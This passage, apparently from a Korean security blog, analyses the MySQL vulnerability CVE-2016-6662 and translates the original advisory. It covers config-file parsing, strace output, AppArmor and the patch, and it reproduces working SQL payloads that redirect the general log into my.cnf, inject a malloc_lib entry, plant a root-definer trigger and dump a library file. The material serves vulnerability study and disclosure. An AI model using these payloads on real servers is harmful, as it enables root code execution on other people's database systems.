mysqld_safe wrapper가 환경 변수들을 파싱하고 처리한 후 mysqld를 실행시키는데, mysqld는 [mysqld] 섹션 기준으로 환경 변수를 파싱하는 로직을 가지고 있는 것으로 추측된다. 그렇기 때문에 mysqld가 자신이 이해할 수 없는 malloc_lib 환경 변수를 만나 에러가 발생해 더 이상 데몬을 실행할 수 없게 되는 것으로 보인다.

로그 내용이 my.cnf에 사용해도 에러가 발생하지 않는 이유는 무엇을까?

다음과 같이 주석으로 표시된 것도 아닌 내용(로그 기록)이 my.cnf에 사용되어도 데이터베이스가 동작하는데 아무런 문제가 발생하지 않는다.

[mysql]
#no-auto-rehash # faster start of mysql but no tab completition

[isamchk]
key_buffer              = 16M

#
# * IMPORTANT: Additional settings that can override those from this file!
#   The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160922  0:55:11    37 Query     select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
                   37 Query     SET global general_log = off

앞서 "수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?"에서 추측한 것처럼 mysqld_safe wrapper 스크립트는 자신이 이해하는 고유한 환경 변수만을 파싱하기에 로그 내용을 무시할 것이고, mysqld는 [mysqld] 섹션에서 표현된 내용이 아니기 때문에 무시하는 것으로 보인다.

그래서 다음과 같이 생각해 보았다.

[mysqld] 섹션에 위와 같은 로그 내용을 수동으로 입력하면 mysqld는 동작하지 않을 것이다.

테스트를 해보니 [mysqld] 섹션에 로그가 기록되어 있으면 mysqld가 이해하지 못하기에 서비스가 실행되지 않는다. 그 외 다른 섹션에 로그를 삽입해 테스트를 해봤을 땐 mysqld 데몬이 동작했다. 결론적으로 [mysqld] 섹션 영역만 손상 받지 않으면 서비스는 실행할 수 있다.

중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까?

/etc/mysql/my.cnf를 로드한 후 다시 /var/lib/mysql/my.cnf를 로드해도 mysql 데이터베이스 실행에 문제가 없다. 이미 앞서 [mysqld] 섹션이 존재함에도 불구하고 그 후에 [mysqld] 섹션을 다시 선언해도 사용 가능하다. 그리고 general_log_file 변수를 활성화시켜 /var/log/mysql/mysql.log 값을 할당했음에도 취약점에 의해 general_log_file 변수를 중복 선언하고 /etc/mysql/my.cnf로 설정해 이 부분에 로그 기록을 남길 수 있었다.

이러한 것이 가능한 이유는 mysqld가 환경 변수를 파싱하는 방법에 있는데, 기존에 선언된 환경 변수를 파싱했음에도 이후에 동일한 환경 변수를 만나게 되면 덮어쓰는 형태로 구현되어 있기 때문이다.

덮어쓰기(override)가 가능하도록 제작한 이유가 뭘까 고민해보면 하나로 귀결된다. 바로 커맨드 라인에서 입력하는 파라미터 때문이다. 설정 파일에 설정이 되어 있어도 커맨드 라인에서 입력한 값을 우선으로 해야 하기에 덮어쓰기가 가능하도록 구현한 것으로 보인다.

그렇다면 또 다른 의문점으로 my.cnf를 읽어오는 순서가 있지 않을까? 가장 나중에 읽은 my.cnf에 따라 설정되지 않을까? 를 생각할 수 있다. 어떤 wrapper 스크립트를 사용하느냐에 따라 my.cnf의 위치가 다양하게 구성될 수 있기에 /etc/init.d/mysql/usr/bin/mysqld_safe에서 my.cnf를 읽는 위치를 strace를 이용하여 찾아보았다.

/etc/init.d/mysql은 다음과 같이 CONF 변수에 저장된 /etc/mysql/my.cnf를 읽고 접근하는 것을 볼 수 있다.

[...snip...]
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
read(255, "CONF=/etc/mysql/my.cnf\nMYADMIN=\""..., 5491) = 4832
chdir("/")                              = 0
umask(077)                              = 022
brk(0x24a6000)                          = 0x24a6000
brk(0x24a7000)                          = 0x24a7000
brk(0x24a8000)                          = 0x24a8000
brk(0x24a9000)                          = 0x24a9000
brk(0x24aa000)                          = 0x24aa000
faccessat(AT_FDCWD, "/etc/mysql/my.cnf", R_OK) = 0
brk(0x24ab000)                          = 0x24ab000
[...snip...]

/usr/bin/mysqld_safe는 다음과 같이 /usr/my.cnf/var/lib/mysql/my.cnf를 찾고 읽으려 하지만, 파일이 없기 때문에 실패한 내용을 보여주고 있다.

[...snip...]
stat("/usr/var/mysql", 0x7ffe8069e4d0)  = -1 ENOENT (No such file or directory)
faccessat(AT_FDCWD, "/usr/my.cnf", R_OK) = -1 ENOENT (No such file or directory)
faccessat(AT_FDCWD, "/var/lib/mysql/my.cnf", R_OK) = -1 ENOENT (No such file or directory)
geteuid() 
[...snip...]

결론적으로 기본 설정으로 운영할 경우 my.cnf를 읽는 순서는

  1. /etc/mysql/my.cnf
  2. /usr/my.cnf
  3. /var/lib/mysql/my.cnf

이며, 가장 나중에 읽는 /var/lib/mysql/my.cnf가 앞서 읽은 모든 my.cnf를 덮어쓸 수 있다.

/etc/mysql/my.cnf 소유자가 root인데 어떻게 mysql이 읽을 수 있을까?

중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까? 에서 볼 수 있듯이 /etc/mysql/my.cnf를 사용하는 곳은 /etc/init.d/mysql이다. 이 파일은 일방적으로 서비스를 실행할 때 사용하는 파일로 기본 소유자가 root이다. /etc/init.d/mysql이 root로 실행하면서 root 소유자로 설정되어 있는 /etc/mysql/my.cnf를 읽고 사용한 후 mysql 권한으로 /var/bin/mysqld_safe를 실행하기 때문이다.

이러한 이유로 /etc/mysql/my.cnf가 root로 유지되고 있을 경우 mysql 소유자으로 실행된 mysqld는 /etc/mysql/my.cnf를 수정하거나 변경할 수 없다. 다시 말해서 SQLi로 들어오는 쿼리는 mysqld 소유자를 따라가고, SQLi로 작성된 파일 또한 mysqld 소유자를 따라간다. 로그 기록 또한 [mysqld] 섹션에 포함되는 항목이기에 mysqld의 권한으로 움직인다. (/var/log/mysql의 로그들은 모두 소유자가 mysql이다.)

그래서 CVE-2016-6662를 테스트할 때 /etc/mysql/my.cnf의 소유자를 mysql로 수정한 것이다.

공격이 성공했을 때 mysql.log에는 어떤 기록이 남을까?

my.cnf 파일의 general_log_filegeneral_log 기능을 활성화시켜서 다양한 로그 정보를 수집하도록 구성한 후 로그를 살펴보면 다음과 같다.

mysql.log 내용

160921 18:41:52    37 Connect   attacker@192.168.0.140 on pocdb
                   37 Query     SET NAMES 'utf8' COLLATE 'utf8_general_ci'
                   37 Query     SET @@session.autocommit = OFF
                   37 Query     SHOW GRANTS
                   37 Query     SELECT unhex("5459504......") INTO DUMPFILE '/var/lib/mysql/pocdb/poctable.TRG'
                   37 Query     SELECT unhex("7f454c46.....") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'
		   37 Query     CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'
		   37 Query     INSERT INTO `poctable` VALUES('execute the trigger!')
		   37 Query     SET global general_log_file='/etc/mysql/my.cnf'

unhex를 이용하여 두 개의 파일을 헥사 값으로 바로 받은 후 INTO DUMPFILE로 특정 위치에 헥사 값 그대로 파일을 생성한다. SET global general_log_file='/etc/mysql/my.cnf'가 실행되기 때문에 이 쿼리가 실행된 후에 입력되는 쿼리에 따른 로그는 /etc/mysql/my.cnf에 기록된다.


정리

우분투 14.04 시스템에서 sudo apt-get install mysql-server로 설치한 MySQL 데이터베이스에서 CVE-2016-6662 취약점을 사용하려면 다음과 같은 문제를 모두 해결해야한다.

  1. /etc/mysql/my.cnf의 소유자를 MySQL로 변경
  2. 소유자를 MySQL로 변경했다 하여도 Apparmor에 의해 보호받는다.
  3. 공격자는 Apparmor에 의해 보호받지 않으면서도 my.cnf를 가장 나중에 읽는 /var/lib/mysql/ 디렉터리를 공략할 수 있다. => CVE-2016-6663
    • 기본 mysqld_safe의 --datadir 파라미터의 경로는 /var/lib/mysql/이기 때문이다.
  4. 하지만 CVE-2016-6662에서는 3번이 불가능하다.
    • /var/lib/mysql/ 디렉터리에는 기본으로 my.cnf가 없다.
    • my.cnf 파싱에서는 섹션 형태로 시작하지 않으면 파싱하지 않는다.
    • 공격 성공한 후 my.cnf가 생성되면 my.cnf의 서두에는 섹션 형태로 작성되어 있지 않다. (로그이기 때문에)
  5. 따라서 CVE-2016-6662는 /var/lib/mysql/ 경로의 my.cnf를 생성과 수정할 순 있지만 취약점으로 연결되지 않는다.

그렇다면 MySQL 데이터베이스 기반으로 만들어진 MariaDB와 PerconaDB도 이와 같은 문제를 가질까. PerconaDB는 테스트하지 않았지만 MariaDB는 my.cnf의 소유자가 MySQL이라면 아무런 제약 없이 /etc/mysql/my.cnf에 악의적인 설정을 주입할 수 있다. 그 이유는 다음과 같다.

  1. sudo apt-get install mariadb-server 로 설치하면 기본으로 Apparmor에 의해 보호받지 않는다.
  2. /etc/init/mysql.conf가 없어 서비스는 항상 mysqld_safe와 함께 실행된다.


MySQL 패치 내용

2016년 9월 6일 MySQL 5.5.52로 릴리즈 되면서 CVE-2016-6662 취약점이 수정되었다. 일반적인 메모리 손상시키는 취약점이 아닌 구성의 결함을 이용한 취약점이기에 간단하게 다음과 같이 패치되었다.

  • mysqld_safe가 사용하는 --malloc-lib 인수는 /usr/lib, /usr/lib64, /lsr/lib/i386-linux-gnu 또는 /usr/lib/x86_64-linux-gnu 중 하나만 사용한다. 또한, --mysqld--mysqld-version 옵션은 옵션 파일이 아니라 커맨드 라인으로만 사용될 수 있다. (Bug #24464380)

--malloc-lib 인수를 사용하는 mysqld_safe는 root 권한으로 실행되니 root 권한을 가진 디렉터리만을 읽도록 수정하면 공격자가 악의적으로 설정하기에 많은 제약이 따를 수밖에 없다. --malloc-lib로 공유하는 라이브러리를 로드하는 수정된 위치는 모두 root 권한이 필요하다.

  • 옵션 파일로 해석될 수 있는 .ini 또는 .cnf로 끝나는 파일에 로그를 작성할 수 있었다. 이제 일반적인 쿼리 로그와 슬로 쿼리 로그는 더 이상 .ini.cnf로 끝나는 파일에 작성할 수 없다. (Bug #24388753)

CVE-2016-6662 취약점은 설정 파일에 로그 기록을 할 수 있다는 것이다. 따라서 설정 파일에 로그를 기록할 수 없도록 수정된 것을 확인할 수 있다. 물론 이 패치로 인해 CVE-2016-6663도 함께 패치된 것처럼 보인다.


참고 사이트


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by hakawati in KISEC 40th


'Advanced > Vulnerability' 카테고리의 다른 글

CVE-2016-6662 (1)  (0) 2016.09.18

개요

대중적으로 가장 많이 쓰고있는 MySQL이 원격에서 루트 권한으로 코드를 실행할 수 있는 취약점이 발견되었다. 종합해보면, 데이터베이스를 이용해 설정 파일을 악성코드를 실행하도록 수정할 수 있고, 악성코드 또한 데이터베이스를 통해 데이터베이스 서버의 로컬에 저장할 수 있다. 이 취약점에 대해 살펴보자.

포스팅:

번역

=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-6662
- Release date: 12.09.2016
- Last updated: 16.09.2016
- Revision: 2
- Severity: Critical
=============================================

I. VULNERABILITY

MySQL  <= 5.7.14                    원격 루트 코드 실행(Remote Root Code Execution) / 권한 상승(Privilege Escalation) (0day)
                5.6.32
                5.5.51

MySQL과 유사군인 다음 DB들도 영향을 받는다.

  • MariaDB
  • PerconaDB 

II. BACKGROUND

"MySQL은 세계에서 가장 인기 있는 오픈소스 데이터베이스다. 빠르게 성장하는 웹 특성에 따라 효과적인 비용으로 높은 성능을 제공하고 다양한 형태로 확장 가능하도록 도와주는 데이터베이스 응용프로그램이다."

"세계에서 규모가 크고 빠르게 성장하는 기업 페이스북, 구글, 어도비, Alcatel Lucent and Zappos 등 대부분이 규모가 큰 웹 사이트, 주식-증권 등 금융과 관련된 시스템, 기타 패키지 소프트웨어 등이 MySQL를 사용하여 시간과 비용을 절약하고 있다."

III. INTRODUCTION

이번 문서는 CVEID가 CVE-2016-6662인 심각한 취약점으로 원격의 공격자가 MySQL의 설정 파일(my.cnf)에 악의적인 설정을 주입하여 공격자가 의도하는 행위를 하도록 유도할 수 있다.

이 취약점은 최신 버전을 포함하여 기타 다른 버전 (5.7, 5.6 그리고 5.5)이 기본 값으로 설정되어 있으면 로컬 및 원격 공격자에 의해 침해당할 수 있다. 이 취약점은 MySQL 데이터베이스에 인증된 접근(네트워크 연결 또는 phpMyAdmin과 같은 웹 인터페이스)과 SQL 인젝션을 사용할 수 있는 공격 벡터에서 모두 사용 가능하다. 

SQL 인젝션 공격은 웹 응용프로그램의 일반적인 문제 중 하나이기에 CVE-2016-6662을 SQL 인젝션 공격으로 사용할 경우 매우 위협적일 수 있다. 공격자가 이 취약점으로 공격 성공할 수 있다면 루트 권한으로 임의의 코드를 실행시킬 수 있어 취약점에 영향받는 MySQL이 실행 중인 서버를 손상시킬 수 있다.

이 취약점에 대한 공식적인 패치는 현시점(2016.09.12)을 기준으로 오라클 MySQL 서버에도 적용되지 않은 상태이다. 또한 리눅스 배포판에서 기본 정책으로 활성화하도록 설치되는 SELinux와 AppArmor와 같은 보안 모듈에서 운영하는 MySQL 서비스에도 공격이 가능하다. 이 문서는 공격자가 어떻게 원격 루트 코드 실행을 할 수 있는지를 설명하는 PoC를 포함한다.

IV. DESCRIPTION

MySQL의 기본 패키지에는 mysqld_safe 스크립트와 같은 MySQL의 다양한 wrapper를 MySQL 서비스 프로세스 시작과 함께 살펴볼 수 있다. 예를 들어, 전체 업데이트된 데비안 시스템에서 다음과 같이 볼 수 있다.

lsb_release -a

No LSB modules are available.
Distributor ID:        Debian
Description:           Debian GNU/Linux 8.5 (jessie)
Release:               8.5
Codename:              jessie
dpkg -l | grep -i mysql-server
ii  mysql-server                        5.5.50-0+deb8u1
ii  mysql-server-5.5                    5.5.50-0+deb8u1
ii  mysql-server-core-5.5               5.5.50-0+deb8u1

그 다음 MySQL(기본 값으로 설정된 데비안 저장소에서 제공하는 패키지로 설치한) 서비스를 실행한다.

service mysql start

다른 방법으로 다음과 같이 실행할 수 있다.

/etc/init.d/mysql start

MySQL 서버 프로세스 트리는 다음과 같다.

root     14967  0.0  0.1   4340 &  1588 ?        S    06:41   0:00 /bin/sh /usr/bin/mysqld_safe

mysql    15314  1.2  4.7   558160 47736 ?        Sl   06:41   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

위에서 볼 수 있듯이 메인 mysqld 프로세스는 MySQL 사용자 권한으로 실행하는 반면, mysqld_safe wrapper 스크립트는 루트 권한으로 실행된다. 이 wrapper 스크립트는 다음과 같은 기능을 가진다.

[ /usr/bin/mysqld_safe ]

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

[...]

[ eof ]

위 코드는 MySQL 서버가 시작하기 전에 공유한 라이브러리를 사전에 불러올 수 있다. 이 라이브러리는 다음과 같이 라이브러리 위치를 매개 변수를 이용하여 설정할 수 있다.

--malloc-lib=LIB

이 매개 변수는 mysql 설정 파일(my.cnf)의 '[mysqld]'나 '[mysqld_safe]' 섹션에서 지정할 수 있다. 공격자가 설정 파일에 악의적인 라이브러리 경로를 주입한 후에 MySQL 서비스가 재시작(예를 들면, 시스템 업데이트, 패키지 업데이트, 시스템 재시작 등)하면 MySQL 서버가 시작되기 전에 악의적인 라이브러리를 불러오기에 루트 권한으로 임의의 코드를 실행할 수 있다.

2003년 3.23.55 이전 MySQL 버전에서 발생한 취약점에서는 다음과 같이 간단한 문구로 MySQL 설정 파일을 생성하도록 허용되었었다.

SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'

이 문제는 OUTFILE 쿼리에 의해 성성되는 파일들이 world-writable 권한을 가지기에 이 권한을 가지는 설정 파일을 로드하지 못하도록 해결했다. 또한 기존 구성 파일을 OUTFILE/DUMPFILE 구문을 이용하여 덮어쓰는 것을 금지하도록 수정하여 추가 보호 기능을 구현했다. 이는 기존 구성 파일을 보호하기 위해서였다. 결국 이 취약점은 2003년 MySQL 3.23.55으로 릴리즈 되어 수정되어 더 이상 구성 파일을 수정할 수 없게 되었다.

그럼에도 V. PROOF OF CONCEPT 섹션에서 설명하는 MySQL 로깅 기능(MySQL 기본 설치로 사용하는)을 악용하여 앞서 언급한 덮어쓰기 제한을 성공적으로 우회할 수 있다.

1) 취약하게 설정한 권한이나 잘못 설정한 권한으로 설정한(mysql 사용자가 설정을 작성하거나 소유한 경우) MySQL 구성 파일에 악의적인 설정을 주입할 수 있다. (시나리오 1)

2) 잘못 설정한 권한과 상관없이 기본으로 설치되는 MySQL의 데이터 디렉터리에 새 구성 파일을 만들 수 있다. (기본으로 MySQL 사용자가 작성 가능한) (시나리오 2)

3) SELECT/FILE 권한만을 가진 공격자가 기본 값으로 설치된 MySQL의 로깅 기능(일반적으로 MySQL 권리자 사용자만 사용 가능)에 접근할 수 있으면 MySQL 설정 파일을 추가하거나 수정할 수 있다.

Update (16/09/2016):

일부 보안 포럼에서 제시한 문제에 대해 올바르게 이해하지 못해 취약점의 심각성을 완화하려 하는 잘못된 오해가 있음을 알게 되어 아래와 같이 PoC의 세부 사항을 세밀하게 읽어보시길 바란다.

다음을 주목해달라:

* 시나리오 1 (이하 포인트 1)과 시나리오 2 (이하 포인트 2)과 다른 내용이다. 다시 말해서, 시스템에서 사용 가능한 안전하지 않은 권한을 가진 my.cnf 설정 파일이 없다 하여도 설정 주입 취약점은 궁극적으로 임의의 악의적인 공유 라이브러리를 공격하여 로드하도록 이끌 수 있다. 즉, 공격을 위해서 취약한 권한을 요구하지 않으며, 시스템에서 기본으로 권한이 설정되어 있는 my.cnf를 사용하는 PerconaDB/MariaDB/MySQL를 공격할 수 있는 취약점이다. 시나리오 1은 기본으로 설치한(시나리오 2) 데이터베이스에 당면한 공격을 드러내지 않고 로깅을 악용하거나 설정을 주입하는 취약점을 설명할 수 있도록 아주 단순하게 악용하는 코드를 만들어 제시했다.

* 시나리오 2를 성공적으로 공격할 수 있는 것을 개인적으로 PoC를 작성하여 공개적으로 공유하지 않았다. (기본 설치/어떠한 my.cnf 설정 파일의 잘못 구성한 권한 없이) 아래 섹션뿐만 아니라 현재 PoC 공격에서 언급한 것 모두 제한된 PoC다. 기본으로 설치한 데이터베이스에 당면한 공격을 보호하고 사용자가 취약점에 대응하는 시간을 제공하기 위해 의도적으로 제한한 것이다.

* 루트 권한 상승 및 코드 실행으로 이끄는 시나리오 2 (취약한 권한을 사용하지 않는 my.cnf)의 성공적인 공격은 (별도의 취약점인) CVE-2016-6663 취약점에 의해 달성할 수 있다.(그러나 요구사항은 아니다) PoC는 이 권고안을 작성한 작성자에 의해 만들어졌지만 발표하지는 않았다.

* 로깅 기능은 SELECT/FILE 권한을 사용하는 일반 사용자가 접근할 수 있다. 다시 말해서, 관리자 권한을 가지지 못하고 로깅 기능에 공격자가 접근할 수 있다면 악성 페이로드를 포함한 악성 트리거를 생성하기 위한 최고 권한을 요구하지 않는다. 이는 아래 섹션(포인트 3에서 볼 수 있는)에 설명되어 있고, 이 권고의 PoC에 입증했으며, 또한 공격자 데이터베이스 계정 권한을 보여주는 것은 replication 단계(VI. 섹션)에서 살펴볼 수 있다. (공격자 DB 계정은 최고 권한이 할당되어 있지 않다.)

V. PROOF OF CONCEPT

1) 취약하게 설정한 권한이나 잘못 설정한 권한으로 설정한(mysql 사용자가 설정을 작성하거나 소유한 경우) MySQL 구성 파일에 악의적인 설정을 주입할 수 있다. (시나리오 1)

MySQL 설정 파일들은 mysqld_safe 스크립트가 실행될 때 지원하는 모든 위치에서 하나씩 호출하여 처리한다.

정확한 설정 위치는 MySQL 버전에 따라 다르다. 예를 들어 다음 링크(http://dev.mysql.com/doc/refman/5.5/en/option-files.html)에서 설명하는 것처럼 MySQL 5.5의 설정 위치는 다음과 같다.

/etc/my.cnf                Global options
/etc/mysql/my.cnf          Global options
SYSCONFDIR/my.cnf          Global options
$MYSQL_HOME/my.cnf         Server-specific options
defaults-extra-file        The file specified with --defaults-extra-file=file_name, if any 
~/.my.cnf                  User-specific options

서버에서 MySQL을 실행하기 위한 설정 파일은 MySQL 사용자가 소유해야한다는 일반적인 오해가 있다. 많은 설정 가이드나 보안 가이드에서 /etc/mysql 또는 /etc/my.cnf과 같은 MySQL 설정과 관련있는 디렉터리나 파일의 소유자가 MySQL 사용자가 되도록 잘못 권장한다.

예를 들어 여기(https://github.com/willfong/mariadb-backup/blob/master/README.md)에서는 다음과 같이 이야기한다.

"설정 파일에 소유와 권한을 다음과 같이 설정"

chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf

이 문서(http://www.devshed.com/c/a/mysql/security-issues-with-mysql/)에서는 이와 같이 언급한다.

"/etc/my.cnf과 같이 전역 옵션 파일이 존재하는 경우 보호해야한다. MySQL 사용자는 이 파일을 읽고 쓰는 권한을 가져야하지만 다른 사용자는 오직 읽기 권한만 필요하기에 다음과 같이 설정한다."

shell> chown mysql /etc/my.cnf

그 외에 자동으로 설치되는 MySQL은 my.cnf 설정 파일에 취약한 권한을 제공한다. MySQL 설정 파일 중에 하나라도 MySQL 사용자가 소유하고 있는 경우 다음과 같이 공격자는 악의적인 설정을 주입할 수 있다.

ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
cat /etc/my.cnf

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

공격자는 다음과 같이 SQL 쿼리를 실행할 수 있다.

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

결과적으로 설정 파일에는 쿼리로 입력한 부분이 추가된다.

cat /etc/my.cnf 

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14	   40 Query	select '

; injected config entry

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15	   40 Query	set global general_log = off

이 설정 약간의 불필요한 정보를 포함하기에 파싱 문제가 발생해 재시작할 경우 MySQL이 동작하지 않는 일반적인 원인이 될 수 있다. 하지만 중요한 것은 설정 파일에 다음과 같은 섹션을 포함한다는 것이다.


[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

mysqld_safe는 mysqld 데몬의 시작 전에 LD_PRELOAD 환경 변수에 shared 라이브러리 경로를 읽어 추가할 수 있다. 사전에 로드된 라이브러리는 libc fopen() 호출을 후킹 하여 mysqld 데몬이 시작할 때 처리하는 설정을 정리한다.

2) 잘못 설정한 권한과 상관없이 기본으로 설치되는 MySQL의 데이터 디렉터리에 새 구성 파일을 만들 수 있다. (기본으로 MySQL 사용자가 작성 가능한) (시나리오 2)

mysqld_safe 설정 스크립트를 분석해보면 앞에서 봤던 설정 파일 경로 이외에도 MySQL의 데이터 디렉터리 (/var/lib/mysql/my.cnf)에서 설정 파일을 불러오는 것을 확인할 수 있다.

[ /usr/bin/mysqld_safe ]

[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
[...]

[ eof ]

MySQL 버전 5.5와 5.6에서 사용하며, 5.7 부터는 my.cnf 경로를 위한 datadir 위치가 삭제되었지만 여전히 많은 구성이 다음 위치에서 설정을 로드한다.

/var/lib/mysql/.my.cnf

데이타 디릭터리 /var/lib/mysql은 (명백하게) mysql 사용자에 의해 작성될 수 있다.

ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

따라서 만약 mysql 사용자가 설정을 소유하지 않고 시스템에서 사용하더라도, 공격자는 취약점으로 다음과 같은 경로에 설정을 생성하고 공격할 수 있다.

/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf

앞서 언급한 것처럼 FILE 권한을 사용할 수 있으면 SQL 구문으로 파일을 생성할 수 있다.

SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'

하지만 생성한 파일은 동작하지 않을 것이다. 그 이유는 MySQL이 world를 위해 rw 권한으로 파일을 생성하기 때문이다.

-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

그리고 MySQL은 시작할 때 world-writable 권한을 가진 설정을 로드하는 것을 차단한다. 공격자는 이것을 우회하기 위해 로깅 SQL 구문을 이용할 수 있다.

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

이 쿼리는 MySQL 데몬이 파싱할 때 적절한 권한(o-w 비트 없이)을 가진 my.cnf를 생성한다.

ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

설정 파일은 다음 내용을 가진다.

cat /var/lib/mysql/my.cnf

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22       43 Query    select '

; injected config entry

[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

'
160728 17:48:23       43 Query    set global general_log = off

그러나 여전히 문제가 있다. MySQL은 올바른 섹션 헤더를 가지지 않을 경우 설정 파일을 거부한다.

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted

하지만 테스트를 통해 확인해보니 보안으로 막아놓은 부분을 우회할 수 있는 것을 확인했지만 당분간 공개하지 않을 예정이다. 주의할 필요가 있기 때문인데 공개 보류 중인 CVE-2016-6663는 공격자가 악용할 수 있기 때문이다. 이 취약점을 사용하는 공격자는 FILE 권한을 요구하지 않고 악의적인 내용을 담은 /var/lib/mysql/my.cnf 파일을 생성하거나 수정할 수 있다.

3) SELECT나 FILE 권한만을 가진 공격자가 기본 설정으로 설치된 MySQL의 로깅 기능(일반적으로 MySQL 권리자 사용자만 사용 가능)에 접근할 수 있으면 MySQL 설정 파일을 추가하거나 수정할 수 있다.

만약 공격자가 로깅 설정에 접근하기 위한 관리자 권한을 가지지 못하고 FILE 권한을 추가할 수 있는 일반 사용자 권한만을 가졌다 해도 설정 파일을 작성하거나 수정할 수 있다. 이는 악의적인 트리거 페이로드를 작성하여 기록할 수 있다.

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;

활성화되어 사용 중인 테이블('active_table')의 트리거 파일에는 다음과 유사하게 구문을 사용한다.

SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'

이 같은 트리거는 테이블이 정리될 때 로드될 것이다. 이 지점에서 INSERT 구문을 사용할때 마다 테이블에 호출된다.

INSERT INTO `active_table` VALUES('xyz');

이 트리거의 코드는 mysql 루트 사용자 권한('definer'를 참조)으로 실행될 것이고 , 따라서 공격자는 관리자 권한이 아닌 일반 계정임에도 불구하고 general_log를 설정하도록 수정할 수 있다.

VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit

[ 0ldSQL_MySQL_RCE_exploit.py ]

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

